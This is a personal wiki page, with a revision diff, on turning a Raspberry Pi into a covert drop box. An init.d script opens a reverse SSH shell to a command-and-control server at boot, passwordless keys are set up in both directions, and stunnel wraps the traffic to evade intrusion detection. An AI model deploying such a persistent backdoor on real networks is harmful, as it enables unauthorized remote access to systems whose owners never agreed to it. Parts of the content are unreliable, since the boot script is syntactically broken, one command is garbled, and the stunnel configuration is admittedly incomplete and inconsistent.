RaspberryPi/Reverse SSH: Difference between revisions
From charlesreid1
| Line 311: | Line 311: | ||
</pre> | </pre> | ||
put those both into | put those both into the certificate file that we pointed to above, with our Squid proxy: | ||
<pre> | <pre> | ||
$ cat key.pem >> /etc/stunnel/stunnel.pem | $ cat key.pem >> /etc/stunnel/stunnel.pem | ||
$ chmod 400 /etc/stunnel/stunnel.pem | |||
</pre> | </pre> | ||
At this point, the book I'm following goes off into the weeds, and I get lost. | At this point, the book I'm following goes off into the weeds, and I get lost. | ||
server.key? server.crt? server.pem? Does he run the key/certificate generation command again? | |||
===Configure Stunnel Default File=== | ===Configure Stunnel Default File=== | ||
Revision as of 18:22, 4 August 2015
This article covers how to get a reverse SSH shell to a Raspberry Pi.
Reverse SSH Shell
How to control the Pi once it is placed on a target network? SSH. But how?
Incoming SSH connections (from a command and control server to the Raspberry Pi) can be blocked by firewalls/security measures.
Reverse SSH is a good alternative: instead of the command and control server connecting to the Raspberry Pi, the Raspberry Pi initiates the connection to the command and control server. This is the same technique used by many backdoor programs.
SSH Command
The command and control server listens for the Pi. When the Pi is online, it calls the ssh command and connects to the remote command and control server.
Normally, when you SSH to a machine, you execute a command like:
$ ssh user@remoteserver
But if you use the -R flag, it enables a reverse connection to the listener.
$ ssh -R port1:host:port2 username@remoteserver
Let's unpack what that command is doing.
First, we SSH into our remoteserver with our username. This will open an SSH connection from the remote server to the local computer where the command is run.
The connection between the remote server and the local computer where the command is run will happen on port 2.
This will then create a tunnel, on the remote server, from the remote server's port 2 to the remote server's port 1.
Anyone on the remote server who uses ssh to connect to port 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.
Cool, huh? Here's an infographic to explain:
Reverse SSH on Startup
You can run this command on startup, so that on boot, the Pi will attempt to connect to a remote server if it is available.
First, we'll create a startup service that initiates a reverse SSH connection.
Then, we'll give it a whirl.
Add Reverse SSH Startup Service
The following instructions will walk through how to create a reverse SSH startup service on the Raspberry Pi, so that the Pi will automatically seek out and create a reverse SSH connection on boot, if the remote server can be found.
This is done by editing the Linux partition of the SD card (not the 64 MB boot partition - the ~3 GB Linux partition!) and changing some files in the init.d sequence.
Mount SD Card
First, insert the Raspberry Pi SD card into your laptop and mount the volume.
Create Reverse SSH Service
Now you'll create a reverse SSH service in /sdcard/etc/init.d/. I called mine reverse-ssh.
#!/bin/sh
### BEGIN INIT INFO
# Provides: new-reverse-ssh
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start reverse ssh at boot time
# Description: Start reverse ssh at boot time.
### END INIT INFO
set -e
PARAM=/usr/bin/ssh
if [ -f $PARAM ]; then
. "$PARAM"
fi
case "${1:-}" in
stop|reload|restart|force-reload)
echo "Too bad."
start)
echo "Opening reverse shell."
/usr/bin/ssh -R 2222:localhost:22 root@10.0.0.19;;
*)
echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
exit 1
;;
esac
The line ssh -R 2222:localhost:22 root@10.0.0.19 means that anyone connecting to port 2222 on the remote end will actually connect to localhost port 22, and then that will be the port that is used to connect from the remote end to the client, where this command is being run.
So from the Command and Control server, we'd ssh to port 2222 on the local machine: ssh -p 2222 root@localhost. That'll open our tunnel to the Raspberry Pi.
Notes on Improving the Script
It would be nice if this could do a little more checking - as in, check every N minutes if we have a network connection, and if so, try to get a reverse SSH connection.
If we don't have internet, try again.
If we do have internet, but the remote server is not online, try again.
As is, we only have one shot.
Updating Startup Sequence on Raspberry Pi
Now it is time to add our startup service to the Pi's onboard update-rc.d - good information here: https://www.debian-administration.org/article/28/Making_scripts_run_at_boot_time_with_Debian
Plug Pi back into the router and start it up. SSH to it.
Now update the rc service, to add our new init.d script to the appropriate runtime levels.
$ chmod 755 /etc/init.d/reverse-ssh $ update-rupdate-rc.d reverse-ssh defaults update-rc.d: using dependency based boot sequencing
Passwordless Login: Raspberry Pi to CnC Server
Now let's creat eSSH keys, so the Pi can remotely SSH to the command and control server without a password.
On our Pi:
[pi] $ ssh-keygen -t dsa [pi] $ cat ~/.ssh/id_dsa.pub
and on the command and control server:
[cncserver] $ vim ~/.ssh/authorized_keys
and paste the contents of the Raspberry Pi's public key.
Passwordless Login: CnC Server to Raspberry Pi
Now let's create SSH keys, so the command and contorol server can remotely access the Pi without a password.
On our command and control server cncserver:
[cncserver] $ ssh-keygen -t dsa [cncserver] $ cat .ssh/id_dsa.pub
This is your command and control public key. Now copy and paste this into the Raspberry Pi:
[pi] $ vim ~/.ssh/authorized_keys
and paste the contents of the public key file from your cncserver. This basically adds your cncserver to the Raspberry Pi's whitelist.
Test Reverse SSH Startup Service
Now we have added the startup service, and put it in the initialization routine. We've added public keys so nobody needs anybody's password.
Let's test it out!
Unplug the Pi, and plug it back in. Give it a moment to boot up.
Once the Pi is ready, it will have looked for your computer's IP address, found it, and SSHed into your computer. So your Pi should now be connecting from port 2222 into your laptop, and then opening a tunnel for the reverse connection in port 22.
Let's ssh into our tunnel. It's really easy - we just connect to localhost, because the connection between localhost and the remote Raspberry Pi has already been made.
root@kronos:~# ssh -p 2222 root@localhost The authenticity of host '[localhost]:2222 ([::1]:2222)' can't be established. ECDSA key fingerprint is 75:b3:0b:6f:84:d8:44:6b:b6:14:15:20:bd:e9:c8:80. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts. Linux kali 3.12.36 #1 PREEMPT Fri Apr 10 23:27:49 CDT 2015 armv6l The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 4 05:29:57 2015 from 10.0.0.19 root@kalipi:~#
Boom! There we go! A reverse shell that runs on our Raspberry Pi on boot.
Diving Deeper with Wireshark
I wanted to use one of my newfound tools, Wireshark, to analyze the traffic I was seeing with the reverse SSH tunnel between the Pi and the command and control server.
I began the wireless packet capture, with the reverse SSH connection from the Pi to the command and control server.
I then made an SSH connection from the command and control server to the Pi, using ssh -p 2222 root@localhost.
I took a look at some of the statistics. It's pretty clear that this network's traffic is mostly SSH:
Avoiding Intrusion Detection Systems
A reverse SSH tunnel is essentially a VPN connection. Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such VPN connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.
Enter stunnel.
Stunnel on Raspberry Pi
Nominally, stunnel provides SSL encryption and decryption, which provides services not capable of SSL to communicate securely using SSL. (Example: if a mail server listens for unencrypted mail traffic on port 25, and clients send encrypted mail traffic on port 465, stunnel listens on port 465, passes traffic through stunnel to decrypt it, and then passes it to local port 25.
But this can also be used to wrap arbitrary traffic in SSL - and since one type of connection that's allowed through a firewall is an SSL connection, this means we can get our connection past the IDS. stunnel hides that TCP client-server communication stream in an SSL encryption wrapper.
Installing
First, install stunnel
apt-get install -y stunnel4
Edit Configuration File
On the Raspberry Pi, edit the stunnel configuration file:
$ vim /etc/stunnel/stunnel.conf
Add the following information, which will point stunnel to your private key stunnel.pem (we'll cover how to create this next):
client = no [squid] accept = 8888 connect = 127.0.0.1:3128 cert = /etc/stunnel/stunnel.pem
I'm not exactly sure what this does. It configures squid, a proxy service, to do something with ports 8888 and 3128. Maybe accept connections on port 8888, and forward them to port 3128.
Note that it is pointing to a certificate file in /etc/stunnel/stunnel.pem, so our next step will be to create this certificate file.
Generate Private Keys/Certificates for SSL
Now you need to generate private keys, so that stunnel has private keys to use when encrypting using SSL.
First, go to the directory where stunnel keeps all of its files:
$ cd /etc/stunnel/
Generate Private Key
Use the openssl library to generate a 2048-bit private RSA key:
$ openssl genrsa -out key.pem 2048 Generating RSA private key, 2048 bit long modulus .....+++ ..+++ e is 65537 (0x10001)
Generate a Self-Signed Certificate
To do SSL, an stunnel server must have an SSL certificate, which requires a private key and a signature. We already generated a private key, so now we generate a certificate, and use our own key to sign it. Do this by running the following:
$ openssl req -new -x509 -key key.pem -out cert.pem -days 365 You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:. State or Province Name (full name) [Some-State]:. Locality Name (eg, city) []:. Organization Name (eg, company) [Internet Widgits Pty Ltd]:. Organizational Unit Name (eg, section) []:. Common Name (e.g. server FQDN or YOUR name) []:mars Email Address []:.
Key and Certificate
Now you have your private key in key.pem and your server's certificate in cert.pem.
$ ls -lh total 16K -rw-r--r-- 1 root root 615 Apr 22 2013 README -rw-r--r-- 1 root root 1.7K Aug 4 18:06 key.pem -rw-r--r-- 1 root root 964 Aug 4 18:08 cert.pem
put those both into the certificate file that we pointed to above, with our Squid proxy:
$ cat key.pem >> /etc/stunnel/stunnel.pem $ chmod 400 /etc/stunnel/stunnel.pem
At this point, the book I'm following goes off into the weeds, and I get lost.
server.key? server.crt? server.pem? Does he run the key/certificate generation command again?
Configure Stunnel Default File
Now configure stunnel by editing the default stunnel file:
$ vim /etc/default/stunnel4
change enable = 0 to enable = 1
Add Configuration
Now open /etc/stunnel/stunnel.conf and add the following configuration:
sslVersion = all options = NO_SSLv2 cert = /etc/stunnel/server.pem pid = /var/run/stunnel.pid output = /var/log/stunnel [openvpn] client = no accept = 993 connect = 34567
Open Firewall
Now add a firewall a firewall setting on the Raspbery Pi by creating a file firewall.sh:
iptables -A INPUT -p tcp -dport 993 -j ACCEPT
The next step is to restart the stunnel services:
/etc/init.d/stunnel4 restart
Install Squid
Now the final step is to install Squid proxy on the Raspberry Pi:
apt-get install -y squid3
Stunnel on Command and Control Server
Now we can install an stunnel client on our command and control server.
Install
Install stunnel on our command and control server in the usual manner:
apt-get install -y stunnel4
Private Key
Next, we'll copy the file stunnel.pem, which is the security certificate we created on the Raspberry Pi and will be using to encrypt the SSL traffic, onto our command and control server. This file is IMPORTANT! Without it, you can't decrypt stunnel traffic.
Edit Configuration
Reverse SSH In The Field
The example of reverse SSH that I just showed is an example on a local network, using local IPs.
But the principle is the same for remote servers on the internet: as long as the Pi is connected to the internet, and its SSH connections can reach the outside world, we can get a reverse SSH connection. We just need a remote command and control server that is listening when the Raspberry Pi runs its reverse-ssh startup script.